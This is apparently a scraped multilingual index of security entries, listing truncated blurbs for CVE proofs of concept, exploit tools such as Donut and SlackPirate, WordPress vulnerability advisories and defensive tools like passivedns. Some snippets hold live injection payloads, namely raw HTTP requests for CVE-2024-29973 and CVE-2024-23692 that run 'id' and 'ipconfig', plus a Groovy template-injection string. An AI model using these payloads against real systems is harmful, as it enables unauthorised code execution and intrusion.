CVE-2021-28079

CVE-2021-28079 - POC Jamovi file example.omv example.omv: Zip archive data, at least v2.0 to extract Alle OMV-Dateien sind archivierte Daten. Sie können sie also entpacken und ändern, um den XSS-Fehler auszunutzen. root@kitploit: 🔥\ unzip example.omv Archive: example.omv inflating:...

CVE-2022-26134

CVE-2022-26134 POC Descrizione root@kitploit: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. POC 1. Esegui python3 confluence.p...

donut

Versione corrente: v1.1 Indice 1. Introduzione 2. Come funziona 3. Compilazione 4. Utilizzo 5. Sottoprogetti 6. Sviluppo con Donut 7. Domande e discussioni 8. Disclaimer 1. Introduzione Donut è un codice indipendente dalla posizione che consente l'esecuzione in memoria di file VBScript, JScript,...

WordPress JetEngine plugin < 3.8.13.1 - Unauthenticated Stored XSS via Form File Upload (SVG) vulnerability

Unauthenticated Stored XSS via Form File Upload SVG vulnerability discovered by Nguyễn Đức Hòa in WordPress Plugin JetEngine versions 3.8.13.1...

CVE-2022-26923

CVE-2022-26923 – Exploit Certifried Abuso di AD CS Automazione dello sfruttamento di CVE-2022-26923 Certifried , che consente l'escalation dei privilegi attraverso l'abuso dei Servizi Certificati di Active Directory AD CS, con un fallback automatico alla Delega Vincolata Basata su Risorse RBCD,...

WordPress Simple Membership plugin < 4.7.8 - Unauthenticated Stored XSS via PayPal Subscription Subscriber Name vulnerability

Unauthenticated Stored XSS via PayPal Subscription Subscriber Name vulnerability discovered by Yaswanth Reddy Sunkara in WordPress Plugin Simple Membership versions 4.7.8...

S2-055

S2-055 Deserialisierungs-Exploit CVE-2017-7525 Ausnutzungsprozess javac ExploitCommand.java root@kitploit: package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import...

ElectronVulnerableVersion

Trova App Electron Vulnerabili a CVE-2023-4863 / CVE-2023-5129 Questo script PowerShell scarica Sysinternals Strings, cerca ricorsivamente stringhe in tutti i file .exe su tutte le unità e confronta la versione di Electron trovata con le versioni patchate note qui sotto per determinare la...

ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 Caricamento Arbitrario di File / RCE CVE-2019-12169 Titolo Exploit: ATutor 2.2.4 Caricamento Arbitrario di File / RCE CVE-2019-12169 Data: 5/24/19 Autore Exploit: liquidsky JMcPeters Homepage del Venditore: https://atutor.github.io/ Link del Software:...

SlackPirate

SlackPirate - Strumento di Enumerazione ed Estrazione per Slack Questo è uno strumento sviluppato in Python che utilizza le API native di Slack per estrarre informazioni 'interessanti' da un workspace Slack, dato un token di accesso. A partire da maggio 2018, Slack ha oltre 8 milioni di clienti e...

freeradius-server

O servidor FreeRADIUS Introdução O Projeto FreeRADIUS Server é um servidor de políticas multiprotocolo de alto desempenho e altamente configurável, com suporte a RADIUS, DHCPv4, DHCPv6, DNS, TACACS+ e VMPS. Está disponível sob os termos da GNU GPLv2. O uso do RADIUS permite que a autenticação e a...

passivedns

| | @ | \ | \ | || | TM | |.------. .-----. .-----. -. .-.------. | |\ || | || | | | | || --'| --'| |\ Y /| --| | |/ || || | | || || ||||||| / | /|/ | |||| A tool to collect DNS records passively to aid Incident handling, Network Security Monitoring NSM and general digital forensics. PassiveDNS...

passivedns

| | @ | \ | \ | || | TM | |.------. .-----. .-----. -. .-.------. | |\ || | || | | | | || --'| --'| |\ Y /| --| | |/ || || | | || || ||||||| / | /|/ | |||| Uno strumento per raccogliere passivamente i record DNS per assistere nella gestione degli incidenti, nel monitoraggio della sicurezza di ret...

CVE-2024-31982

CVE-2024-31982 Java SSTI - führt zu RCE root@kitploit: async async=falsegroovyprintln"Successful Injection"/groovy/ root@kitploit: GET...

CVE-2024-29973

CVE-2024-29973 root@kitploit: GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Languag...

CVE-2024-23692

CVE-2024-23692 BURP POC root@kitploit: GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

ehids-agent

Inglês | 中文介绍 Introdução ao eHIDS HIDS demo implementado pela tecnologia do kernel eBPF. Aviso Apenas um DEMO baseado em eBPF, por favor use Tetragon / Tracee / falco em vez disso. Implementações e Funcionalidades: 1. Captura de dados de rede TCP 2. Captura de dados de rede UDP 3. Captura de...

WordPress Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin 8.5-8.9.3 - 8.9.2 - Subscriber+ Arbitrary Image Move vulnerability

WordPress Directorist: AI-Powered Business Directory, Listings & Classified Ads plugin 8.5-8.9.3 - 8.9.2 - Subscriber+ Arbitrary Image Move vulnerability discovered by Revanth Hari Narayana Matte in WordPress Plugin Directorist versions 8.5-8.9.2...

android712-blueborne

android712-blueborne Android Blueborne RCE CVE-2017-0781 Nel novembre 2017 un'azienda chiamata Armis ha pubblicato una proof of concept PoC di una vulnerabilità di esecuzione remota di codice in Android tramite Bluetooth CVE-2017-0781, nota come BlueBorne. Sebbene BlueBorne si riferisca a un...

CVE-2019-11932

CVE-2019-11932 Come un bug di double-free in WhatsApp si trasforma in RCE Condividerò informazioni su una vulnerabilità di double-free che ho scoperto in WhatsApp per Android e su come l'ho trasformata in un RCE. L'ho segnalata a Facebook. Facebook l'ha riconosciuta e corretta ufficialmente nella...